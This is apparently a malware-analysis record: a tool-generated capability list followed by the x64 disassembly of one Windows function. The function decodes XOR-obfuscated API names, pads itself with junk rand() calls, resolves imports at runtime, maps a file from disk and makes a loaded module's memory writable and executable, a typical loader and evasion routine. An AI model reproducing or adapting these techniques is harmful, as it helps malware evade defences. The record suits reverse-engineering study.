Function at 0x140002240
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check for software breakpoints
Check http status code
Encode data using xor
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xdc8
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0xd30], xmm6
call fcn.140004400
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or esi, esi
mov r15d, 0x31
mov edi, 0xcb
mov ecx, 0xcb
cmove ecx, r15d
movd xmm0, ecx
xor cl, 0xa0
mov byte [rax], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c110]
movdqa xmmword [rbp + 0xba0], xmm0
movzx ecx, byte [rbp + 0xba2]
movzx edx, byte [rbp + 0xba3]
mov byte [rax + 1], cl
movq qword [rax + 2], xmm0
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
mov rbx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
nop
push rax
pop rcx
call rbx
mov r14, rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xc
call sub.msvcrt.dll_malloc
or esi, esi
cmove edi, r15d
mov ecx, edi
xor cl, 0xbc
mov byte [rax], cl
mov ecx, edi
xor cl, 0xa2
mov byte [rax + 1], cl
movd xmm0, edi
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c120]
mov byte [rax + 3], cl
movdqa xmmword [rbp + 0xad0], xmm0
movzx ecx, byte [rbp + 0xad0]
mov byte [rax + 2], cl
movd dword [rax + 4], xmm0
mov ecx, edi
xor cl, 0xaf
mov byte [rax + 8], cl
xor dil, 0xa7
mov byte [rax + 9], dil
mov byte [rax + 0xa], dil
mov byte [rax + 0xb], 0
nop
push rax
pop rcx
call rbx
mov r15, rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x10
je 0x140002380
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x9b
je 0x140002390
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x13
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xcb
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c130]
movq qword [rax], xmm0
movdqa xmmword [rbp + 0xbb0], xmm0
movzx edx, byte [rbp + 0xbb1]
movzx r8d, byte [rbp + 0xbb7]
mov byte [rax + 8], dl
mov r9d, ecx
xor r9b, 0x8d
mov byte [rax + 9], r9b
mov r9d, ecx
xor r9b, 0xa2
mov byte [rax + 0xa], r9b
mov byte [rax + 0xb], r8b
mov byte [rax + 0xc], dl
mov r8d, ecx
xor r8b, 0x85
mov byte [rax + 0xd], r8b
mov r8d, ecx
xor r8b, 0xaa
mov byte [rax + 0xe], r8b
mov r8d, ecx
xor r8b, 0xa6
mov byte [rax + 0xf], r8b
mov byte [rax + 0x10], dl
xor cl, 0x8a
mov byte [rax + 0x11], cl
mov byte [rax + 0x12], 0
mov rcx, r14
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc70], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x14
je 0x140002460
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x2b
je 0x140002480
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xcb
cmove edx, ecx
mov ecx, edx
xor cl, 0x8c
mov byte [rax], cl
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c140]
movdqa xmmword [rbp + 0xbc0], xmm0
movzx ecx, byte [rbp + 0xbc1]
movzx r8d, byte [rbp + 0xbc6]
mov byte [rax + 1], cl
mov byte [rax + 2], r8b
movq qword [rax + 3], xmm0
xor dl, 0x8a
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
mov rcx, r14
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc78], rax
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x3d
je 0x140002510
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x12
je 0x140002540
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xa
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xcb
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c150]
movq qword [rax], xmm0
xor dl, 0x8a
mov byte [rax + 8], dl
mov byte [rax + 9], 0
mov rcx, r14
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xce8], rax
call sub.msvcrt.dll_rand
cmp eax, 0xfd
je 0x1400025a0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x4f
je 0x1400025d0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xcb
cmove ecx, edx
mov edx, ecx
xor dl, 0x88
mov byte [rax], dl
mov edx, ecx
xor dl, 0xb9
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c160]
mov byte [rax + 1], dl
movdqa xmmword [rbp + 0xae0], xmm0
movzx r8d, byte [rbp + 0xae2]
mov byte [rax + 2], r8b
movd dword [rax + 3], xmm0
mov byte [rax + 7], dl
mov edx, ecx
xor dl, 0xa4
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xa8
mov byte [rax + 9], dl
mov byte [rax + 0xa], r8b
mov edx, ecx
xor dl, 0xb8
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], dl
xor cl, 0x8a
mov byte [rax + 0xd], cl
mov byte [rax + 0xe], 0
mov rcx, r14
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
push rax
nop
pop rdi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0x8c
je 0x1400026a0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x14
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xcb
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c170]
pxor xmm1, xmm0
movq qword [rax], xmm1
movdqa xmmword [rbp + 0xbd0], xmm1
movzx edx, byte [rbp + 0xbd2]
movzx r8d, byte [rbp + 0xbd3]
mov byte [rax + 8], dl
pxor xmm0, xmmword [0x14000c180]
movd dword [rax + 9], xmm0
mov edx, ecx
xor dl, 0x84
mov byte [rax + 0xd], dl
mov edx, ecx
xor dl, 0xa9
mov byte [rax + 0xe], dl
mov edx, ecx
xor dl, 0xa1
mov byte [rax + 0xf], dl
movdqa xmmword [rbp + 0xaf0], xmm0
movzx edx, byte [rbp + 0xaf3]
mov byte [rax + 0x10], dl
xor cl, 0xa8
mov byte [rax + 0x11], cl
mov byte [rax + 0x12], r8b
mov byte [rax + 0x13], 0
mov rcx, r14
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x96
je 0x140002770
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xc
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xcb
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c190]
movq qword [rax], xmm0
xor dl, 0xaf
mov byte [rax + 8], dl
movdqa xmmword [rbp + 0xbe0], xmm0
movzx ecx, byte [rbp + 0xbe1]
movzx edx, byte [rbp + 0xbe4]
mov byte [rax + 9], cl
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
mov rcx, r14
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
push rax
pop rsi
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x76
je 0x140002820
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xee
je 0x140002840
mov qword [rbp + 0xce0], rsi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x4e
je 0x140002860
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xcb
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1a0]
movq qword [rax], xmm0
movdqa xmmword [rbp + 0xbf0], xmm0
movzx ecx, byte [rbp + 0xbf2]
movzx r8d, byte [rbp + 0xbf3]
mov byte [rax + 8], cl
mov ecx, edx
xor cl, 0xa4
mov byte [rax + 9], cl
mov byte [rax + 0xa], r8b
mov ecx, edx
xor cl, 0xae
mov byte [rax + 0xb], cl
xor dl, 0xa8
mov byte [rax + 0xc], dl
mov byte [rax + 0xd], r8b
mov byte [rax + 0xe], 0
mov rcx, r14
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc98], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
cmp eax, 0xb9
je 0x140002910
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xcb
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1b0]
movq qword [rax], xmm0
mov edx, ecx
xor dl, 0x8d
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xa4
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0xb9
mov byte [rax + 0xa], dl
movdqa xmmword [rbp + 0xcf0], xmm0
movzx edx, byte [rbp + 0xcf3]
movzx r8d, byte [rbp + 0xcf5]
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], r8b
movzx edx, byte [rbp + 0xcf6]
mov byte [rax + 0xd], dl
mov edx, ecx
xor dl, 0xb8
mov byte [rax + 0xe], dl
xor cl, 0x8a
mov byte [rax + 0xf], cl
mov byte [rax + 0x10], 0
mov rcx, r14
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xca
je 0x1400029d0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xcb
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c1c0]
pxor xmm1, xmm0
movq qword [rax], xmm1
movdqa xmmword [rbp + 0xb00], xmm1
movzx ecx, byte [rbp + 0xb06]
mov byte [rax + 8], cl
mov byte [rax + 9], cl
pxor xmm0, xmmword [0x14000c1d0]
movd dword [rax + 0xa], xmm0
mov byte [rax + 0xe], 0
mov rcx, r14
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc80], rax
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x1b
je 0x140002a70
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
or eax, eax
je 0x140002a90
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 6
je 0x140002ab0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x13
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xcb
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1e0]
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0xae
mov byte [rax + 4], dl
mov r8d, ecx
xor r8b, 0x9b
mov byte [rax + 5], r8b
movdqa xmmword [rbp + 0xb10], xmm0
movzx r8d, byte [rbp + 0xb11]
mov byte [rax + 6], r8b
mov r9d, ecx
xor r9b, 0xa4
mov byte [rax + 7], r9b
mov r10d, ecx
xor r10b, 0xa8
mov byte [rax + 8], r10b
mov byte [rax + 9], dl
mov r10d, ecx
xor r10b, 0xb8
mov byte [rax + 0xa], r10b
mov byte [rax + 0xb], r10b
mov r10d, ecx
xor r10b, 0x86
mov byte [rax + 0xc], r10b
mov byte [rax + 0xd], dl
mov edx, ecx
xor dl, 0xa6
mov byte [rax + 0xe], dl
mov byte [rax + 0xf], r9b
mov byte [rax + 0x10], r8b
xor cl, 0xb2
mov byte [rax + 0x11], cl
mov byte [rax + 0x12], 0
mov rcx, r14
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc88], rax
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x67
je 0x140002b90
mov qword [rbp + 0xc68], rdi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
cmp eax, 0xbc
je 0x140002bb0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or esi, esi
mov r12d, 0x31
mov edi, 0xcb
mov ecx, 0xcb
cmove ecx, r12d
mov edx, ecx
xor dl, 0x9a
mov byte [rax], dl
mov edx, ecx
xor dl, 0xbe
mov byte [rax + 1], dl
mov byte [rax + 3], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1f0]
movdqa xmmword [rbp + 0xb30], xmm0
movzx edx, byte [rbp + 0xb32]
mov byte [rax + 2], dl
mov byte [rax + 4], dl
movd dword [rax + 5], xmm0
mov edx, ecx
xor dl, 0x8a
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0x9b
mov byte [rax + 0xa], dl
xor cl, 0x88
mov byte [rax + 0xb], cl
mov byte [rax + 0xc], 0
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, r14
nop
push rax
pop rdx
call rbx
mov qword [rbp + 0xc90], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or esi, esi
cmove edi, r12d
movd xmm0, edi
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c200]
movd dword [rax], xmm0
mov ecx, edi
xor cl, 0xa6
mov byte [rax + 4], cl
movdqa xmmword [rbp + 0xb20], xmm0
movzx ecx, byte [rbp + 0xb21]
mov byte [rax + 5], cl
mov edx, edi
xor dl, 0x9f
mov byte [rax + 6], dl
mov edx, edi
xor dl, 0xa3
mov byte [rax + 7], dl
mov edx, edi
xor dl, 0xb9
mov byte [rax + 8], dl
mov byte [rax + 9], cl
mov ecx, edi
xor cl, 0xaa
mov byte [rax + 0xa], cl
xor dil, 0xaf
mov byte [rax + 0xb], dil
mov byte [rax + 0xc], 0
mov rcx, r14
push rax
nop
pop rdx
call rbx
mov qword [rbp + 0xca0], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xba
je 0x140002d30
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd8
je 0x140002d40
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xe
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xcb
cmove ecx, edx
mov edx, ecx
xor dl, 0x82
mov byte [rax], dl
mov edx, ecx
xor dl, 0xa5
mov byte [rax + 1], dl
mov r8d, ecx
xor r8b, 0xbf
mov byte [rax + 2], r8b
mov r9d, ecx
xor r9b, 0xae
mov byte [rax + 3], r9b
mov r10d, ecx
xor r10b, 0xb9
mov byte [rax + 4], r10b
mov byte [rax + 5], dl
mov byte [rax + 6], r9b
mov byte [rax + 7], r8b
mov r8d, ecx
xor r8b, 0x84
mov byte [rax + 8], r8b
mov r8d, ecx
xor r8b, 0xbb
mov byte [rax + 9], r8b
mov byte [rax + 0xa], r9b
mov byte [rax + 0xb], dl
xor cl, 0x8a
mov byte [rax + 0xc], cl
mov byte [rax + 0xd], 0
mov rcx, r15
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xcb0], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
cmp eax, 0x1a
je 0x140002df0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xb8
je 0x140002e10
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xcb
cmove ecx, edx
mov edx, ecx
xor dl, 0x82
mov byte [rax], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c210]
movdqa xmmword [rbp + 0xb40], xmm0
movzx edx, word [rbp + 0xb43]
rol dx, 8
pxor xmm1, xmm1
movdqa xmm2, xmm0
punpcklbw xmm2, xmm1
pshuflw xmm1, xmm2, 0xec
pshufhw xmm1, xmm1, 0xe8
pshufd xmm1, xmm1, 0xe8
pshuflw xmm1, xmm1, 0xd2
packuswb xmm1, xmm1
movd dword [rax + 1], xmm1
mov word [rax + 5], dx
movq qword [rax + 7], xmm0
xor cl, 0x8a
mov byte [rax + 0xf], cl
mov byte [rax + 0x10], 0
mov rcx, r15
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xcb8], rax
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa3
je 0x140002ec0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xaf
je 0x140002ee0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xcb
cmove edx, ecx
mov ecx, edx
mov r8d, edx
movd xmm0, edx
xor dl, 0x82
mov byte [rax], dl
xor cl, 0xa5
mov byte [rax + 1], cl
xor r8b, 0xb9
mov byte [rax + 4], r8b
mov byte [rax + 5], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c220]
movdqa xmmword [rbp + 0xc00], xmm0
movzx ecx, byte [rbp + 0xc00]
movzx edx, byte [rbp + 0xc02]
mov byte [rax + 2], cl
mov byte [rax + 3], dl
mov byte [rax + 6], dl
movq qword [rax + 7], xmm0
mov byte [rax + 0xf], dl
mov byte [rax + 0x10], 0
mov rcx, r15
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
push rax
nop
pop rbx
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe7
je 0x140002f80
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x52
je 0x140002f90
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe7
je 0x140002fa0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push rax
nop
pop rdi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xb80], xmm0
mov qword [rbp + 0xb90], 0
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x19
je 0x140002fe0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xa
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xcb
cmove edx, ecx
movd xmm0, edx
mov ecx, edx
xor cl, 0xa5
mov byte [rax], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c230]
pxor xmm1, xmm1
punpcklbw xmm0, xmm1
pshufd xmm0, xmm0, 0x44
pshuflw xmm0, xmm0, 0xa4
pshufhw xmm0, xmm0, 0xa7
packuswb xmm0, xmm0
movq qword [rax + 1], xmm0
mov byte [rax + 9], 0
push rax
nop
pop rcx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
nop
push rax
pop rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf8
je 0x140003080
lea r8, [rbp + 0xb80]
mov qword [rbp + 0xcc0], rdi
push rdi
nop
pop rcx
mov qword [rbp + 0xcc8], rsi
push rsi
nop
pop rdx
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
cmp eax, 0x78
je 0x1400030d0
mov rdi, qword [rbp + 0xb80]
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x21
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xcb
cmove ecx, edx
mov edx, ecx
xor dl, 0xa8
mov byte [rax], dl
mov edx, ecx
xor dl, 0xf1
mov byte [rax + 1], dl
mov r9d, ecx
xor r9b, 0xbc
mov byte [rax + 4], r9b
mov edx, ecx
xor dl, 0xa2
mov byte [rax + 5], dl
mov r8d, ecx
xor r8b, 0xa5
mov byte [rax + 6], r8b
mov edx, ecx
xor dl, 0xaf
mov byte [rax + 7], dl
mov r10d, ecx
xor r10b, 0xa4
mov byte [rax + 8], r10b
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c240]
mov byte [rax + 9], r9b
movdqa xmmword [rbp + 0xc10], xmm0
movzx r9d, byte [rbp + 0xc12]
movzx r10d, byte [rbp + 0xc17]
mov byte [rax + 2], r10b
mov byte [rax + 3], r10b
pxor xmm1, xmm1
movdqa xmm2, xmm0
punpcklbw xmm2, xmm1
pshufd xmm1, xmm2, 0xec
pshuflw xmm1, xmm1, 0x7d
packuswb xmm1, xmm1
movd dword [rax + 0xa], xmm1
movq qword [rax + 0xe], xmm0
mov byte [rax + 0x16], r10b
mov byte [rax + 0x17], r8b
mov byte [rax + 0x18], r9b
mov byte [rax + 0x19], dl
mov r8d, ecx
xor r8b, 0xa7
mov byte [rax + 0x1a], r8b
mov byte [rax + 0x1b], r8b
xor cl, 0xe5
mov byte [rax + 0x1c], cl
mov byte [rax + 0x1d], dl
mov byte [rax + 0x1e], r8b
mov byte [rax + 0x1f], r8b
mov byte [rax + 0x20], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
nop
push rax
pop rcx
mov edx, 0x80000000
mov r8d, 1
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
nop
push rax
pop rsi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc
je 0x140003210
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
push rsi
nop
pop rcx
sub edx, edx
mov r8d, 0x1000002
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov r14, rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov qword [rsp + 0x20], 0
mov qword [rbp + 0xcd8], r14
mov rcx, r14
mov edx, 4
sub r8d, r8d
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbp + 0xc60], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xad
je 0x1400032a0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x99
je 0x1400032b0
mov qword [rbp + 0xcd0], rsi
mov qword [rbp + 0xca8], rbx
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc3
je 0x1400032f0
movsxd r14, dword [rdi + 0x3c]
cmp word [r14 + rdi + 6], 0
je 0x1400034c0
add r14, rdi
lea r15, [r14 + 0x18]
sub esi, esi
mov r12d, 0x31
movdqa xmm6, xmmword [0x14000c250]
jmp 0x140003341
inc rsi
movzx eax, word [r14 + 6]
cmp rsi, rax
jae 0x1400034c0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
movzx eax, word [r14 + 0x14]
lea rcx, [rsi + rsi*4]
lea r13, [r15 + rcx*8]
add r13, rax
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 6
call sub.msvcrt.dll_malloc
or ebx, ebx
mov ecx, 0xcb
cmove ecx, r12d
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmm6
movd dword [rax], xmm0
movdqa xmmword [rbp + 0xb50], xmm0
movzx ecx, byte [rbp + 0xb51]
mov byte [rax + 4], cl
mov byte [rax + 5], 0
mov rcx, r13
nop
push rax
pop rdx
call sub.msvcrt.dll_strcmp
or eax, eax
jne 0x140003330
mov dword [rbp + 0x3d0], 0
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x13
je 0x1400033f0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rdi
mov r8d, 0x40
lea r9, [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
